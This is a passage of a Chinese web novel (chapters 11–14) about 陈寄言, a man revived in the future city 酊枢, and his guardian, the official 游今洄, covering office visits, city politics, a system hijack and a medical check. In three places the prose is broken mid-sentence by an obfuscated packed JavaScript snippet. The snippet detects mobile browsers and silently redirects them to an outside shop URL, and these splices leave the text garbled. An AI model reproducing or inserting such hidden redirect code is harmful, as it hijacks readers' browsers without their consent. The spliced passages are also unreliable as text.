“你随身带着伞吗?” 游今洄不是这种细心的性格,他在酊枢也不需要这么原始的工具遮雨。是因为他。 “知道要下雨,伞也不带?” 陈寄言自认理亏收声。 他偏头观察,自己的新监护人似乎并没有那么不近人情,也不是完全无法沟通。 心情好的时候容易飘起来,又或许是他根本对于执政官对新历没什么敬畏之心,总之,陈寄言再次大胆发问: “你是怎样看待我的?” “一无所知不服管教的未成年,心智不全的实验品,离不开监控的濒危物种?” 无论酊枢还是蔓都,没人敢用这种直白又挑衅的语气问他,不过学会质疑是好事情,他不跟小孩计较,开始思考这个问题。 继承人,似乎过于冷淡官方,家属,他们之间也不存在什么亲情。 “百年之后,我躺在这里,你是来悼念的人。” 树后面是一片墓园,他的祖父母在那里长眠。 陈寄言对突然冒出来的这句话感到意外,他果然还是不擅长讨论死亡一类的话题,开个玩笑打岔。 “或许我活不到那一天呢?”毕竟他现在这么脆,完全不知道接下来要怎么活下去。 “这里地方大,躺得下。”游今洄善解人意道,“不用担心。” 如果你不在这个世界上,那么我一定会先你一步死去。 那可真是太感谢了。 最坏的结果不过如此,听到他这句话,陈寄言对未来的恐惧少了许多,人总要活下去,也总有一天会死的。 与其瞎琢磨那些很久之后才会发生的事,还不如去想下一顿吃什么来得实在。最近他厨艺进步喜人,已经能独立烧两荤一素,不谈味道,至少卖相不错,甚至没有出发报警器。 “收拾一下,去见人。” “什么人?” “当初决定收养你的人,游亭。” 游今洄的母亲,也是他名义上的母亲。 11. 初次拜访 “紧张?” 都炸毛了。 游今洄漫不经心把他头顶翘起的一缕头发捋顺。 “你见我前也紧张?” “那倒没有。”生死一线,他哪有闲工夫紧张,那天再晚点进车他们两个要被一锅端。 “你不怕我,”游今洄若有所思,“知道我身份前不怕,现在也不怕。” “还算有点良心。” 这一撮毛跟人作对似的,怎么都不肯听话,游今洄烦躁地啧了声,报复似地揉了揉。 也不知道昨晚是怎么睡的,头发乱成这样。 陈寄言想要反抗发现无路可退,只能眼神抗议他别弄乱自己的发型。 “我这样空手过去,合适吗?”初次见面,应该带礼物的,不知道这边风俗怎样,陈寄言总觉得这样不好。 “你有钱?” 没有。 “你不是有吗,作为成年人,不觉得跟我一样两手空空去别人家里不妥当吗?” 陈寄言忽然意识到自己的身份是未成年,不带礼物勉强能说得过去,游今洄怎么理直气壮的。 “我带回去一个活生生的你,还不算大礼?”知道陈寄言醒来,游亭第一时间就要见人,几次三番都被游今洄以他正在接受观察治疗拒绝。 “实在过意不去,你让自己系统表演个节目。” 小E:?天降横祸? “你似乎对我的系统有偏见。” “我不评价。”表情相当轻蔑,在他眼里酊枢最新13.0版本都是垃圾堆上雕花,更不用说陈寄言身上这个落后十几年的版本。 “您眼里的垃圾可能只是放错地方的资源。” 虽然他什么都不会,但凡事从无到有,他迟早能凭自己 “你刚醒来没多久,它也一样?” “我觉得他确实可以用空余时间提升下自己,比如给人表演节目,就非常有意义。” “善意的提醒,不要过度依赖。”不论系统还是人。 陈寄言琢磨着这句话,没发现自己走出了好几步,游今洄还停留在原地。 “我一个人去?” “我有工作。” 谈到工作,又变回冷漠的扑克脸,虽然就陈寄言的观察他日常不是在驳回方案就是在批评下属,完全看不出有什么重要紧急的事。 “你觉不觉得自己不负责任?”把他一无所知地丢在这里。 游今洄耐心交代:“听话点,没人会为难你,有什么问题让他们来找我。” “我拒绝。” “你想怎样?”对视半分钟,游今洄再次妥协。 “我跟你去酊枢,然后一起回来。” 酊枢又在下雨。 游今洄一到这个地方,就跟上了发条的机器一样,高效运转,成为这座庞大堡垒的一环。 “这份驳回意见书需要您签字。” “临时会议,大约半小时。” “控制在20分钟。” “好的,这位小,先生,需要什么吗?” “白水,谢谢。” 游今洄谈事情并不避着他,陈寄言看见好几个下属互相之间使眼色,办公室一览无余,上司没发话,其他人也心照不宣忽略掉他的存在。 陈寄言一开始很明显坐立不安,有点后悔来到这里,没有隔断,连休息室也没有,他只好坐在离办公桌最远的角落,装作欣赏窗外景色的闲散人员。 前几次都来的匆忙,对酊枢的印象仅限于灰蒙蒙的天气,磅礴大雨,还有冰冷的陈设,压抑的氛围。 今天是小雨转多云,外面的走廊过道立着三三两两办公的人聊天,植物是没有的,唯一可被称之为景色的只有不远处的云海,还有天边若有似无的太阳的光。 难怪有钱人都要搬去蔓都了,一座巨大的工业化城市,被人为打造成高速运转的机器,长时间居住一定会抑郁。工作狂才会喜欢这里。 回头看会议桌另一端,嗯,工作狂正在面无表情地骂人。 生气伤肝,不知道游今洄身体怎么样,作息不规律,饭也不吃,每天还这么有精神。 看来自己等到继承执政官的遗产也不是没可能。当然,这个邪恶大胆的想法只稍微冒头,就被打消。怎么能诅咒自己监护人呢,他可是现在唯一的衣食父母。 依照他现在的身体状况,短时间内,似乎要在两地频繁奔波。 过去工作辛苦的时候,虽然整天把什么不如去死挂在嘴边,一有小问题还得老老实实去医院,莫名其妙来到这里,就像出生一样没有人问过他的意见,陈寄言还是想活。 “结束了?” 思维发散了一会,发现室内骤然安静,只剩下他跟游今洄两个人。 “那现在回蔓都?” “不急。” “你母亲她” “她刚发来消息说加班,一时半会离不开,今天先不去,正好司闵在,让他带你转转。” 他带我,那你呢? 接收到陈寄言强烈谴责的目光,游今洄并不惯着。 “出外勤,不方便带人。” 不是说心智成熟吗,怎么这么粘人? 陈寄言纯属受不了别人那他当珍稀大熊猫的眼神,小心翼翼又充满某种难以启齿的怜爱,他怕看多了做噩梦。 司闵,前天拿了一套测试题给他测评的年轻人,他没有这种腻歪的眼神,就是性格有点古怪,黑色眼睛折射着精明的算计,狐狸一样。 比之前者,更能让人接受。 跟他现任监护人比起来,司闵是真的很闲。 “你刚来,应该不知道,其实我跟你家执政官也算平级,哪有这么使唤同事的,一点都不尊重人。” “平级?” “怎么,我看着难道不像?” “气质不同。” “怎么样,是不是觉得我比较风流倜谠,跟他的古板严肃完全不同,要不要考虑之后来教育部发展?” “富二代和白手起家的区别。” 其实他想说的是游手好闲和工作狂的区别。 虽然平时的作风没少被人诟病,但被如此直白戳穿还是有点不爽。 “小陈啊,你这样不行,成年人要学会语言的艺术,太莽撞很容易吃亏的。” “游今洄是例外,他嘴贱,但能打。” “我比较诚实。” “我还是未成年。” 跟你们这些心思深沉的大人可不同,披着未成年的皮,言行举止多荒谬都可以用一句,他还是个孩子化解。 “我监护人是游今洄。” 反正他自己已经够招仇恨的了,讨厌他的人也不见得对自己的观感能好到哪里去,还不如狐假虎威,统一战线。 而且他是真的没有满25,想到这里,陈寄言更加理直气壮。 “也挺好,那你是不是一个不高兴就能指着他鼻子骂?” 他只是诚实,但要命。 “没那么勇敢。” “好吧,还以为终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772051|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于有人能做我们大家不敢做的事。”司闵真心实意地失望道。 “这栋大楼由来已久,容纳所有酊枢的公民办公,最上面十三层隶属政府,下面鱼龙混杂,做什么的都有,你闲着没事少去,他们很排外。” “排外?” “当然,每一份工作都对应着资源,他们靠这个过活,你去不仅打扰人家工作,还会被误认为是去抢人家资源的。” 不知道是不是FS浓度太高的原因,明明站在很高的视野开阔的地方,却觉得呼吸困难,心头憋闷。 生理心理都是。 司闵惬意踱步,不看路也知道哪里有个转角,哪里风景不错,显然是这里的常客。 “不用担心,你家长会把你安排好的,老老实实听话,然后找个不高不低的职位,当然你不想工作也完全没关系,研究所那边一直欢迎你,只要游今洄还在,你不干掉他自己上位,酊枢没那么可怕。” 说完又补上一句,“简直可以为所欲为。” “你还羡慕我?” 不是同事,也算不上朋友,跟他聊天反而很轻松。 “没你这么好的福气,我这种富二代还是不能闯祸带回家里,底下那群小东西能撕了我。” “这就是唯一继承人的好处了,你想干什么都可以。” 听他说完,似乎人生已经可以望到头,做一个混吃等死的废物就好了。 “如果我监护人倒台呢?”他问出了一个关键性问题。 “跑,赶紧跑,离酊枢远远的,到一个没人认识你的地方,蔓城也不要多待,到最南边的默港那里去,实在不行,哀什也能混口饭吃。” “私人建议,不用那么紧张,游今洄这种祸害一定是遗留千年的那种。” “扯远了,总之,议会下面四个部门,我是教育□□的,看气质你应该也猜得到。” 陈寄言诚实摇头,不不不,看你的气质简直是要被当作负面例子全校通报号令全体师生远离的社会分子,真看不出来是搞学术搞教育的。 而且还是黄毛。 “军防部的那群人整天凶神恶煞,隔着十米远就能闻到他们身上那股硝烟味,你没事也离远点。” “律政司,平时不怎么接触到,你继承遗产的时候要他们公证文书,还有就是,未来结婚领证也需要去那里过一遍手续。” “再就是游今洄的财管署,没什么好说的,全世界大债主,酊枢的大忙人。” “不如我们爱与和平的教育局。” 司闵总结完毕,发出邀请。 “我其实,”陈寄言组织语言,“还没有想好以后的事。” “很正常,新人都会有迷茫期,轮岗或许能解决问题。” “在酊枢生活,一定要绑定一份工作?” “那当然,而且是真的要干活的,前段时间你家执政官还清了一大批蛀虫出去。” “他们?” “回蔓都了,还有一部分去了默港。” 在游今洄执政期间,不仅酊枢飞速发展,默港人口也稳定上升,主要是与他政见相反的前酊枢员工,还有前员工的二代们。 默港吸纳了这部分人群,以及资金,有更多人力物理投入公共建设。 酊枢裁剪掉不必要的成本,双方都很开心。 虽然短时间很难融入这个社会,不过简单了解,陈寄言觉得自己留在酊枢概率不大。 好在25岁之前暂时不用考虑如何谋生,之后的事,活到25再说。 12. 他很特殊 “你拒绝研究所了对吧,在此期间你的所有费用是监护人承担,不过成年后,全部需要你自己支付。” 他查看自己名下资产,真好,竟然是零。 “没有别的支付方式?” “卖身还债。” 那他还是老老实实打工。 “身上这套系统连接的医疗功能消耗不小吧,还有定期体检,这个不用担心,酊枢定期组织,不过常规体检显然不能满足你的身体需求,更细致精密的要去恒脉,一次全面检测抵得上我半年年终奖。” “结合现实因素,军防部的薪水还够你勉强活着。” “行动,侦察,巡防,你认为自己适合哪一个。” 听着每个都是能刷爆医保卡的地方,陈寄言很有自知之明。 “不过那边对身体素质要求高,还是老老实实学一门技术,进研究院活着给系统打工,来钱快点。” “给系统打工是?” “不太清楚,就是那些,敲敲代码啦,更新版本啦,解决bug之类的,我听他们聊天内容基本差不多。” 世界还是这么优待理科生。 他高考的时候还文理分科,按照刻板印象,随大流选了理科,上大学志愿又填报了人工智能计算机之类,结果最后滑档,学了经济,毕业粉领。 不文不理地活着,找工作格外困难,所有招聘软件都明晃晃告诉他只有销售可选。 好在最后凭借一点对计算机的兴趣,找到了业务跟技术部门对接的工作,顺带兼职财务,三头受气。没想到几百年后的人类社会更加极端,完全不给文科生活路。 一个世纪过去了,人类的日子还是一样不好过。 “司部长,您对这些好像很熟悉,是经常帮人做职业规划吗?”不然怎么对军方部都一清二楚。 意料之外的问题,司闵一怔,收回假笑,状似不经意般:“没什么,以前家里也有个小孩,接着说。” 酊枢不仅体现着目前人类最先进的技术,同时也是政治中心和经济中心,据系统调来的数据,56.7%的人口生活在主城,酊枢是所有人工作的场所。 维持整个酊枢系统运转的物质,水电之外,还有第三种物质,晶源。 “所有在酊枢工作的人除去正常薪资,按贡献分配一定比例晶源,日常出行离不开的,那些空中的铁盒子烧的就是。” 像一个国家一样,与其他城市或地区不算并立,除了某些重大决策,不同地区各行其政,所有的晶源人才运往酊枢,由酊枢进行再分配,唯有这一条公认的原则牢不可破。 是的,就是游今洄的部门进行分配,同时他也是这一届执政官首席。 上一任则是他的母亲,游亭。 行政官选拔有亲属避让原则,大家都等着游女士退位,给儿子让路。 游今洄的履历非常好,他本人也很出色,票选结果可观,毫无意外。 然而他的母亲使用一票否决,拒绝退位。 母子相争,家庭内部不和,猜测五花八门,流言蜚语甚嚣尘上。 剩下的几位都作壁上观,想看看这戏码以什么结尾。 很遗憾,没能如他们所愿,游今洄退而求其次,选择另外一个职位。财政官的秘书。 当时人人都觉得可惜,甚至不少民众纷纷唾骂游亭野心勃勃,不懂得退位让贤。 然而在财政官被谋杀,游今洄成为当之无愧的接任者,顺理成章地调度酊枢中心区资源。 同年,游亭退位,军部由她的学生接替,而她本人退休后,特聘为议会成员。 群众又纷纷开始揣测,以为是母子联手,想要在酊枢为所欲为。 不过也没有发生以权谋私的事,于是大家都赞母子情深,酊枢未来一片光明。 至少明面上看,游今洄没有为自己谋取不当的好处,跟自己母亲的政见也时常相悖,至于是否私下仍有往来,这就不得而知。 只不过他上任那天游亭没有亲自到场,只派遣亲卫送来花篮表示祝贺,公众看来,二人并不算真正意义上的握手言和。 无论如何,议会只有决策权,没有行政权,至少现在,在酊枢,游今洄炙手可热,大权在握,站在风口浪尖,首当其冲。 原则上来说,议会下面四个部门的领导人都是可以被称为执政官,只有一位首席,不过游今洄上位后,执政官成了专属他一个人的称呼,但凡提起执政官,不是酊枢的人都知道指代的是谁。 目测这个大腿还是比较牢靠的,作为被监管的对象陈寄言表示比较满意。 “我有点好奇,为什么你会去到财政而不是军方?” 他原本服役的经历就很耀眼,而且又有家族渊源,为什么要另辟蹊径从秘书做起,但凡涉及资源调配,剪不断理还乱,一团乱麻,还容易得罪人,且前几任首席都是军方担任,那才是更容易的上升途径。 “我习惯独来独往,没有培养旧部的习惯,待着没意思。” 果然这种精英对自己都狠,不想被说二代就换个领域从头开始。 陈寄言已经被自己脑补的反转剧情震撼到,对游今洄的刻板印象再深一层。 “既然无法做到公平,那么至少按照我的意志分配。” “唔,所以说你是最有钱的军官和最能打的财政官。” “不然他们怎么会心甘情愿让我当首席。” 之前首席一直是军方的人,偶尔会落到律政司。 一刀切的做法,虽然简单粗暴,但的确有效。游今洄执政期间,政府公信力显著提升,所有晶源来路去向透明公开,酊枢之外,无人约束。 “说说你吧,之后想要做什么。” 他知道执政官在尽监护人的职责,请人给他解说,现在还亲自问他的意愿,如果当初高考结束后选志愿有这样的条件,他一定很感激。 可惜他不是18岁。 你未来想做什么?有具体的计划吗?要为社会贡献什么?想成为怎样的人? 没有答案,或许这个世界也等不到他有答案,突然毁灭掉。 看不到未来,要什么规划。 “不知道,成年再说。” 这个身体的脆弱程度还有这个社会的稳定程度,说不定都撑不到他25岁法定成年的那天。 陈寄言非常心安理得地躺下。 “你也知道我的情况,多活一天都算赚的,清晰的目标规划,远一点梦想什么的,那是你们这些大人物该考虑的事。” 他发现游今洄正以一种沉重的,难以理解的深奥眼神注视着他。 比起失望,更像是怜悯,似乎还参杂着别的什么。 过去的二十多年,他是害怕这种失望的,害怕辜负别人的期待,更忍受不了同情怜悯的眼神。 好像自己未来的命运悲惨得一眼能够望到头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772052|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不过现在,无所谓了,这里不是他的世界,陈寄言也不是自己要来的。 “你或许不知道酊枢,或者说人类需要什么。” “作为监护人,是我的失职,我认为你也应该了解这些。” “比起一个不可替代的特殊的人,它更需要一个随时可以被替代的,损坏也不影响整个机器运转的螺丝。” “陈寄言,你很特殊。” “难道执政官不是?”他几乎没怎么思考地反问回去。 “如果今天晚上就宣告我的死亡,”游今洄顺着他的话说下去,“明天财管署的工作也会一如既往进行下去,新的部长会在12点前上任,他在任职演讲前,会被要求念我的悼文。首席会在三天后再次选出,伴随着任职公告,我的讣告也会悬在酊枢上方。” “首席的特例?” “酊枢所有人都是如此,死亡意味着人类群体的削减,但集体意志仍会推动整个社会前行。” “还挺有仪式感,”陈寄言小声嘀咕着,“你放心,每年清明,还有你的忌日,我一定会去扫墓。” 他并没有深入讨论这个话题的意思,身体已经不受控制地开始陷入沉眠。 游今洄真的很忙,除了那天,陈寄言几乎没怎么在房子里看见自己以外的人。 临走时的那番话,他以为自己没放在心上,可是人闲的时候总是很容易胡思乱想,思考一些没有答案的哲学问题。 以前就算偶尔冒出这样的念头,立刻就被现实吓得缩回去,所有无病呻吟都可以用“上两天班就老实了”概况总结。 他避免去想过于宏大的,可能性极低的事情,可是过去生活的点滴细节却控制不住地钻进他的脑海。 每天早上七点会醒,但是会再拖5分钟,到10分钟就不行,因为会错过那躺不会迟到的地铁。 他不会感到饥饿,却习惯性想要觅食,从前没有做饭的习惯,最多速食热一下,现在倒是捡起来小学就会的炒饭。 他不习惯这里的日历,自己改了一版,挂在穿衣镜上方。 “陈寄言,”他对着镜子自言自语,“你要记得自己是上个世纪的人,融不进去这里是正常的,自然的,应该的。” “你很特殊。” 对啊,他当然特殊。 与其说是融不进去,倒不如说,他不愿意去适应。 成为一个合格的酊枢公民,成为制造未来庞大机器的一环,一个损坏就立刻被补上的螺丝钉。 不用思考,没有烦恼,不会痛苦。 他害怕忘记自己在二十一世纪经历的一切。他想要做什么呢,他只是想要回去而已。 人在迷茫困顿之时,总是不自主去寻找身边强大的同类当作目标或者偶像,迄今为止,陈寄言遇到的所有人中,最为强大,离经叛道,只剩下游今洄。 “调取游今洄继任执政官之前的记录。” “数据来源军部已披露的公开文章及报道,满足筛选要求的只有执政官服役期间的部分影像记录以及荣誉勋章。” “服役?”检索到关键词。 陈寄言聚精会神,坐在餐桌上看了一个多小时的资料也恍然不觉。 摄像头将画面尽数传送到执政官个人终端,游尽洄处理完公务看两眼放松心情,不到两秒又被恼人的新消息打断。 “他暂时不会提交服役申请,有什么问题,让苏怀信亲自找我谈。” 13. 吊桥效应 成为执政官之前,游今洄在酊枢的学习记录只到他17岁那年,接着跳到21岁服役,24岁进入酊枢行政部门,职位是,财管署上一任部长的副官。 游今洄服役三年,被强制退伍,原因是身体超负荷,不建议继续作业,已经达到退休要求,奖励优秀员工,并且颁发锦旗,退休金每月准时打到账户,最后这个账户的资产被无偿曾送给他的继承人。 他一个人三年干了别人三十年的活。 这种人在21世纪也会活得很好的,天生牛马圣体,还好陈寄言不用跟他做同事。 许多所谓上流阶层的孩子,是不必去服役的,当然那并不意味着他们没有这个义务。 只要上缴足额的能源,就可以视为服役完成,这种无需成本还能收获能源的方式,军方政府都乐见其成,也从不禁止。 只是游今洄开了这个先例,后面有样学样,想凭借亮眼的成绩收获军方青睐,不过他的记录从未有人打破。大多数呆不到半年就无声无息退出,当作无事发生,前提是家里愿意赔付一大笔钱。 “我也需要服役?” 游今洄没立刻回答,自上而下将人打量一眼,客观评价:“FS抗性为0 ,把你放到哀什,活不过一天。” 被鄙视了,没关系,陈寄言早已习惯。 “家里不会因为这个就浪费资源让你躲过去,我让军部特批了申请,你完成指定任务,获得足够贡献点,就算过关。” 他其实没有那么自立自强,走后门也不是不行。 “这算是,临时工?” 陈寄言点开邮箱新收到的消息,好吧,不算走后门,许多学生毕业前也可以通过评估进入军方预备役,完成足够任务后可以提前批录取。 “其余时间除配合研究所检查,稳定后也要在各部门轮岗。” 这不就是另一种管培生?世界都毁灭过一次了这种害死人的东西为什么还没灭绝? 为什么旧世界毁掉了还要在新世界上班,好命苦。 他想什么都写在脸上,游今洄玩笑般恐吓: “你知道维持你身体运转的仪器,还有每天供给的能源,价值多少吗?” 他知道不便宜但是不结合物价对比很难有实感。 “相当于一个普通市民工作十年的购买力。” “当然,按照你现在的劳动力,就是再工作一百年也是远远不够的。” “没事啊我可以等监护人死后继承遗产。” 陈寄言破罐子破摔。大有死猪不怕开水烫的架势。 “酊枢当然不能做亏损的投资。” 忘了,眼前还有个邪恶资本家,整个酊枢最大的债主。 “也是你的财富,毕竟你是我的唯一继承人。” 一脉相承的画大饼。 “我们现在的关系有点复杂。” “你不能又当老板又当监护人。” 游今洄挑眉,似乎在问有什么区别。 “虽然都是我反感的身份,但是前者我怕我忍不住想暗杀你。” “也可以,这样你可以提前继承遗产。”游今洄鼓励他。 “你认为我没有这个能力?” 被看轻了,虽然的确是事实。 “你自己不觉得别扭吗,我当你下属。” “虽然废物,但比其他废物顺眼一点。” 来自监护人的滤镜。 “司部长今天带我参观了大半个酊枢,” 游今洄眉毛微微上挑,示意他继续说。 “我并不喜欢这里。” 高科技版的写字楼,豪华监狱,建筑是统一的银灰色,看不懂的集合美学,穿行其中的人几乎没有任何分别,黑白灰的工作服,沉闷的颜色,疲惫的面容。 服装从最初的蔽体转为纯粹的装饰,外接了体温平衡系统,季节,气候,湿度,对人们没有了意义。这里也没有明显的季节变换,花日复一日开着,植被也是常年的青绿,身处其间,很容易失去对时间的感知。 行尸走肉地活着,川流不息地工作,陆陆续续地报废,衰老,死亡,新的人源源不断进来,跟管道输送到酊枢的能源一样。替城市完成新陈代谢,就会被当做废料排出。 游今洄不置可否,没有人会喜欢这儿。 或许是恶劣外部条件的缘故,所有的地方都在强调集体,没有给人留下一点喘息的空间,桑夏恩试图将每个孩子教导得相同,酊枢的劳动者被视为零件,共同维护运转这个庞大的机器。 个人意志在集体利益下几近于无。 在这个物资紧缺的时代,显然已经放弃进食改用营养剂或能量棒等维持正常代谢和补充身体需要的物质,对于陈寄言这个从民以食为天的地方过来的旧人类极不友好。 衣食住行,都被极度简化,精神上的娱乐,以他在酊枢和蔓都的经历,也很匮乏。 他不明白这里的人活着是为了什么,赶驴拉磨也要有个胡萝卜吊在眼前,过去是车房养老金,现在是什么? “活着,就是为了活着。” “你年轻,不理解也正常。” 陈寄言还以为会有一大段说教,谁知游今洄开了个头,就戛然而止了。 “你梦里的那个世界,姑且叫你过去生活的那个世界,我很好奇,在那里的正常人是怎么活着的?” “我们用日历,一年365天,周而复始,新旧交替。”谈到以前,陈寄言开了话匣子。 “除此之外,我生活的国家,日历还分阴历阳历,一些非常古老传统的节日,还有对于农作物十分重要的时间节点,我们称之为节气,都用阴历来记录。” “正常人,需要吃饭睡觉,学习,然后工作,有亲人,朋友,伴侣。” 陈寄言说得起劲,另一边却迟迟没有声音,回头一看,人已经睡着了。 “原来你不是机器啊。” “执政官大人?”他缓缓靠近,幽微灯光下,面部线条犹如雕塑一般美丽。 “游今洄?” 他十分大胆且恶趣味地用手指轻轻戳了戳执政官的脸。 “游今洄!” 呼吸紊乱,表情也变得不太自然,应该去医院,陈寄言脑子里第一个想法。酊枢有医院吗?好像有研究所。 蔓都有医院吗?不知道,不过家里似乎有医疗设备。 就这么毫无征兆地倒下,不会是猝死了吧? 他之前怎么跟自己说的?游今洄一死掉,今天就能有新的部长上任并且念他的悼文,三天后就有新执政官的任命下来且整个酊枢上方都会悬挂着他的讣告。 先回蔓都! 陈寄言当即立断,启用系统: “小E,别待机了醒醒,这个列车定位怎么” 颅内再次响熟悉的不详的电流音,破系统又被入侵了,没用的东西! 一阵乱流响过,他听到了人声。 “很高兴再次见面,4759,又或者说是,陈寄言。” 对面传来的是电子合成音,听不出性别,带着诡异的刺耳音调,陈寄言尚且还在纠结应不应该把游今洄突然昏倒的事告诉他的同事,但上次自己被偷运出去,酊枢的人都不可信,传闻他跟自己母亲都在闹不和…… 他首先需要把人转移到安全的地方,没有目的地,就在列车上飘荡也比这里安全。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772053|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的监护人没事,最多8小时,他自己会醒,只不过要稍微吃一点苦头。” 这个系统,好容易被被人操控,不是说接入酊枢后升级了吗,骗鬼呢! “你的系统也没有事,没有病毒,也不是被替换掉。” “我们牺牲了一个据点,才换来跟你交流的机会,陈寄言,上次的确怠慢,我们想要郑重邀请你过来做客。” “邀请?跟绑架有什么区别?还是说你们默港行事风格一向如此?” “我还没有表明身份呢,别着急拒绝。” 对方没有否认,上次敢跟酊枢叫板的,不就是默港,那边近期还要送一位新的议员来。 “别误会,我们跟那种视生命为无物的政治家可不同,你难道不想知道,陈寄言,你来到这里的原因,还有,你是否还有同类?” 当然想知道。 可谈判不是这么谈的,至少他绝不可能现在去默港,游今洄身边是安全的。 好吧,人都昏迷了,好像也没有很安全。 再不济,也得等人死了继承财产再跑。 “规划酊枢到蔓都最短路径,启用空中轨道。” 他自己的系统用不了,还有游今洄的系统在,他们是绑定关系,必要时自己也能使用执政官的私人权限。 “我会去的,不是现在。” 他稳住对面,手里的操作没有停过,连着输错了两次坐标,第三次总算成功。 【一分钟后启动,请前往指定地点等候】 这个地点,怎么显示是窗外。 太奇怪了。 陈寄言撑着比自己高出一个头的监护人的沉重身体,站在面向云海的走廊,正下方是浅蓝色的光晕,上次列车也是这么出现在桑夏恩。 “你确定我们怎么跳都一定会被接住吗?” 氛围诡异,莫名有种私奔的错觉。 如果一个不小心,就会被传成双双殉情。 他后悔了,应该待在办公室等游今洄自己醒来,或者直接通知他的同事帮忙处理。 然而还没等他后退一步,肩膀上的一颗脑袋悠悠转醒,怂恿他:“没错,就是这里,跳下去。” “你醒了?太好——” 整个人被带着往前踏出一步,没等他反应过来是否踏空,下一秒两个人已经进入列车中了。 “游今洄,你故意的?” 吓他很好玩吗?陈寄言不用看都知道自己心跳肯定飙上120+。 “很勇敢,做的好。” “游今洄。” “一个坏消息,”陈寄言还算镇定,“我今天活动时间只剩下五分钟,能到家吗?” 系统主界面的蓝色长方形框,陈寄言称之为体力条,目前抗性还剩下不到五分之一,大概够他去茶水间喝一杯咖啡。 如果到了他们俩都无行动能力,会被丢出去还是一直在两地往返绕圈? “怎么回事,我看到你家小朋友很紧张地带着你跳楼哦?” “今天去的那个地方,全端了。” “哇,执政官大人好厉害,你跟我说什么。” “最迟十天后会拍卖,想要的话提前准备。” “天哪游今洄你怎么突然长了良心,放心我拍到一定请你” “不过你确定那块地没主?”司闵将信将疑。 “CSA的,自己掂量。” “没事,不是默港的就行,”司闵语气欢脱,志在必得。 “小陈还真的是很抢手呢。” 司闵带上手套和枪,窗外一望无际的云海翻涌着,酝酿着下一场风暴。 执政官办公室方向的列车消失在天际。 14. 感官过载 陈寄言怀疑自己再不醒来,会因为窒息而亡。 薇塔星留下的遗产不多,名为尼可的这团毛绒未知生物是体积最大的那个。 “你为什么不在笼子里?” 拳头大的体型,铅球般的重量。怪不得梦里感觉自己身体沉甸甸。 陈寄言自己都没探索明白,日常活动区域仅限于卧室厨房客厅,更不放心把这团不明生物放出来,它真的好像什么都吃。 抬眼一看,笼子已经被啃得只剩半个锁芯。 看来新换了环境也适应良好,他特地用系统扫描了一遍,还是没弄清楚是什么物种。 薇塔星留下的笔记里有提到两句饲养注意事项:喜欢阳光,无机物,讨厌金属。 “所以,这是你讨厌金属的方式?” 什么都爱往嘴里塞。 好在这团小东西并不热爱运动,地毯上滚了一圈,一头扎进灰色软垫,融为一体,不动了。 还算省心,没把房拆了。 好多同事家里养猫猫狗狗,必定要放监控,恨不得360度无死角观察孩子情况,时不时就要拿出手机看一眼才放心。 他肯定不用。 他的记忆停留在跟游今洄双双跌入列车的一幕,系统上方监护人的名字红得发光,人应该没事。 等等,为什么是他做检查,游今洄呢? “放心,执政官身体没有问题,只是需要休息一段时间,您的情况更重要。” 他只好继续配合着任人摆布。 他们的声音低而轻,说的话却很清晰,一字不落地传入陈寄言耳中。 “记一下,确诊为感官过载。” “不排除是应激状态,结合之前的数据,4759本身就比较敏感,报告上注明。” 精神高度紧绷,对于外界信息过于敏感。从一连串专业词汇中提取出核心,陈寄言发现检测有点道理,他从前手上不带任何饰品,衣服不穿过于厚重的面料,不穿领口窄的衣服,不穿过于紧绷的裤子,上班拎着串钥匙就出门。宁愿打伞也不戴帽子。 游今洄截然相反,工作需要,身上每一件饰品都有作用。耳钉能录音,臂缚拆下来是探测仪,除去手环还有带有磁力的手表,确认不同场地时间偏差。 甚至他每一根手指上都带着不同功能的戒指。内有安眠性质的神经类药物,同时附带一小枚微型炸弹。 陈寄言过来后,需要佩戴监性的医疗器械,在本人强烈要求下,全部加装进手环功能。只有薇塔星留下的磁石用绳子穿成长项链随身佩戴。 “好了,已经结束了陈先生,请在后面签名。” 他拿起笔电,不太熟练地写下自己的名字。 上大学之后除了考试几乎没怎么动过笔,工作之后就更不用说,惨不忍睹的小学生字体。 见到游今洄之前,他一直被用编号称呼。 游今洄正式成为他的监护人后,所有人都客气地和善地叫他陈先生。 吊桥效应作祟,竟然生出几分相依为命的错觉。 游今洄不相信自己身边任何人,包括他母亲在内。 陈寄言最好的选择也是坚定地站在游今洄这边,毕竟自己是他遗产的第一顺位继承人。 他为什么这么放心自己呢,因为实在弱的离谱吗,还真有可能是这样。 